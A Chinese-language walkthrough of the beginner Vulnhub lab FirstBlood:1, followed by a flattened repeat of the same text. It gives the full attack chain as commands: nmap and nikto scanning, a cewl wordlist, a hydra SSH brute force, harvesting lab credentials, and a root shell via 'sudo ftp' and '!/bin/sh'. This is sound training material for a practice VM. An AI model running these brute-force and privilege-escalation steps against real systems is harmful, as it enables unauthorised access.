Vulnhub靶机教程之firstblood:1
字数 1799 2025-08-12 12:46:02

FirstBlood:1 靶机渗透测试教程

靶机概述

FirstBlood:1 是一个专为初学者设计的 Vulnhub 靶机,提供了详细的引导式渗透测试过程。目标是通过各种技术手段获取 root 权限并读取 flag。

基本信息

  • 下载地址: https://www.vulnhub.com/entry/firstblood-1,564/
  • 作者: @iamv1nc3nt
  • 难度: 非常简单
  • 特点: 提供了大量引导提示
  • 目标: 获取 root flag

环境准备

  1. 将靶机导入 VirtualBox
  2. 设置网络为桥接模式
  3. 注意靶机 MAC 地址: 00:0C:29:AF:56:DB

渗透测试过程

1. 信息收集

主机发现

sudo arp-scan -I eth0 192.168.176.0/24

发现靶机 IP: 192.168.176.21

端口扫描

sudo nmap -A -sS -p- -T4 -sC -Pn 192.168.176.21

扫描结果:

  • 80/tcp: nginx 1.14.0 (Ubuntu)
  • 60022/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3

2. Web 服务枚举

网站首页分析

  1. 访问 http://192.168.176.21
  2. 查看页面源代码(Ctrl+U),发现提示访问 /rambo.html

访问 rambo.html

提示使用 nikto 扫描:

sudo nikto -h http://192.168.176.21/

nikto 发现:

  • /johnnyrambo/ 目录可访问
  • robots.txt 包含一个条目: /johnnyrambo/

访问 /johnnyrambo/

提示使用 cewl 生成字典:

sudo cewl -w words.txt -d 1 -m 5 http://192.168.176.21/johnnyrambo/

生成包含 137 个单词的字典文件

访问 ssh.html

提示使用 hydra 爆破 SSH:

sudo hydra -l johnny -P words.txt -v 192.168.176.21 ssh -s 60022 -t 4

参数说明:

  • -l: 指定用户名
  • -P: 指定密码字典
  • -v: 详细输出
  • -s: 指定非标准端口
  • -t: 线程数

爆破成功:

  • 用户名: johnny
  • 密码: Vietnam

3. 初始访问

SSH 登录:

ssh johnny@192.168.176.21 -p 60022

信息收集

  1. 查看 README.txt
  2. 查找 nginx 配置:
cat /etc/nginx/sites-enabled/default | grep -v "#"

发现 web 根目录: /var/www/html

  1. 检查 web 目录:
cd /var/www/html
ls

发现文件: README.txt

  1. 读取 README.txt,提示使用 find 命令查找可读文件:
find / -type f -readable 2>/dev/null | grep README.txt

发现: /opt/README.txt

  1. 读取 /opt/README.txt,获得新凭据:
  • 用户名: blood
  • 密码: HackThePlanet2020!!

4. 权限提升 - blood 用户

切换用户:

su blood

信息收集

  1. 查看 README.txt
  2. 检查 /home 目录:
cd /home
ls

发现用户目录: sly

  1. 检查 sly 目录:
cd /home/sly
ls

发现文件: README_FIRST.txt 和 README.txt

  1. 查看 README_FIRST.txt,提示检查 sudo 权限:
sudo -l

发现可以以 sly 用户身份执行:

sudo -u sly cat /home/sly/README.txt
  1. 执行命令获取 sly 的密码:
sudo -u sly cat /home/sly/README.txt

获得密码: SylvesterStalone

5. 权限提升 - sly 用户

切换用户:

su sly

检查 sudo 权限

sudo -l

发现可以以 root 身份执行:

  • /usr/bin/ftp
  • /usr/bin/esudo-properties (无需密码)

利用 GTFOBins 提权

访问 https://gtfobins.github.io/ 查找 ftp 的提权方法

执行:

sudo ftp
ftp> !/bin/sh

成功获取 root shell

6. 获取 root flag

cd /root
cat README.txt

读取最终 flag 和作者信息

关键知识点总结

  1. 信息收集技术:

    • arp-scan 用于主机发现
    • nmap 用于端口扫描和服务识别
    • nikto 用于 Web 漏洞扫描
  2. Web 渗透技术:

    • 查看页面源代码获取隐藏信息
    • 使用 cewl 生成密码字典
    • robots.txt 文件分析
  3. 暴力破解:

    • hydra 进行 SSH 爆破
    • 字典生成技巧
  4. 权限提升技术:

    • find 命令查找敏感文件
    • sudo -l 检查可执行命令
    • GTFOBins 利用
    • 通过 sudo 执行命令提权
  5. Linux 系统知识:

    • nginx 配置分析
    • 文件权限管理
    • 用户切换

学习要点

  1. 始终关注系统提供的提示和 README 文件
  2. 每个步骤都可能包含下一个线索
  3. 善用 Linux 系统命令进行信息收集
  4. 理解 sudo 权限配置的安全隐患
  5. 掌握 GTFOBins 等提权资源的使用

这个靶机非常适合初学者学习渗透测试的基本流程和技术,通过逐步引导的方式帮助理解每个步骤的意义和方法。

FirstBlood:1 靶机渗透测试教程 靶机概述 FirstBlood:1 是一个专为初学者设计的 Vulnhub 靶机,提供了详细的引导式渗透测试过程。目标是通过各种技术手段获取 root 权限并读取 flag。 基本信息 下载地址: https://www.vulnhub.com/entry/firstblood-1,564/ 作者: @iamv1nc3nt 难度: 非常简单 特点: 提供了大量引导提示 目标: 获取 root flag 环境准备 将靶机导入 VirtualBox 设置网络为桥接模式 注意靶机 MAC 地址: 00:0C:29:AF:56:DB 渗透测试过程 1. 信息收集 主机发现 发现靶机 IP: 192.168.176.21 端口扫描 扫描结果: 80/tcp: nginx 1.14.0 (Ubuntu) 60022/tcp: OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 2. Web 服务枚举 网站首页分析 访问 http://192.168.176.21 查看页面源代码(Ctrl+U),发现提示访问 /rambo.html 访问 rambo.html 提示使用 nikto 扫描: nikto 发现: /johnnyrambo/ 目录可访问 robots.txt 包含一个条目: /johnnyrambo/ 访问 /johnnyrambo/ 提示使用 cewl 生成字典: 生成包含 137 个单词的字典文件 访问 ssh.html 提示使用 hydra 爆破 SSH: 参数说明: -l: 指定用户名 -P: 指定密码字典 -v: 详细输出 -s: 指定非标准端口 -t: 线程数 爆破成功: 用户名: johnny 密码: Vietnam 3. 初始访问 SSH 登录: 信息收集 查看 README.txt 查找 nginx 配置: 发现 web 根目录: /var/www/html 检查 web 目录: 发现文件: README.txt 读取 README.txt,提示使用 find 命令查找可读文件: 发现: /opt/README.txt 读取 /opt/README.txt,获得新凭据: 用户名: blood 密码: HackThePlanet2020! ! 4. 权限提升 - blood 用户 切换用户: 信息收集 查看 README.txt 检查 /home 目录: 发现用户目录: sly 检查 sly 目录: 发现文件: README_ FIRST.txt 和 README.txt 查看 README_ FIRST.txt,提示检查 sudo 权限: 发现可以以 sly 用户身份执行: 执行命令获取 sly 的密码: 获得密码: SylvesterStalone 5. 权限提升 - sly 用户 切换用户: 检查 sudo 权限 发现可以以 root 身份执行: /usr/bin/ftp /usr/bin/esudo-properties (无需密码) 利用 GTFOBins 提权 访问 https://gtfobins.github.io/ 查找 ftp 的提权方法 执行: 成功获取 root shell 6. 获取 root flag 读取最终 flag 和作者信息 关键知识点总结 信息收集技术 : arp-scan 用于主机发现 nmap 用于端口扫描和服务识别 nikto 用于 Web 漏洞扫描 Web 渗透技术 : 查看页面源代码获取隐藏信息 使用 cewl 生成密码字典 robots.txt 文件分析 暴力破解 : hydra 进行 SSH 爆破 字典生成技巧 权限提升技术 : find 命令查找敏感文件 sudo -l 检查可执行命令 GTFOBins 利用 通过 sudo 执行命令提权 Linux 系统知识 : nginx 配置分析 文件权限管理 用户切换 学习要点 始终关注系统提供的提示和 README 文件 每个步骤都可能包含下一个线索 善用 Linux 系统命令进行信息收集 理解 sudo 权限配置的安全隐患 掌握 GTFOBins 等提权资源的使用 这个靶机非常适合初学者学习渗透测试的基本流程和技术,通过逐步引导的方式帮助理解每个步骤的意义和方法。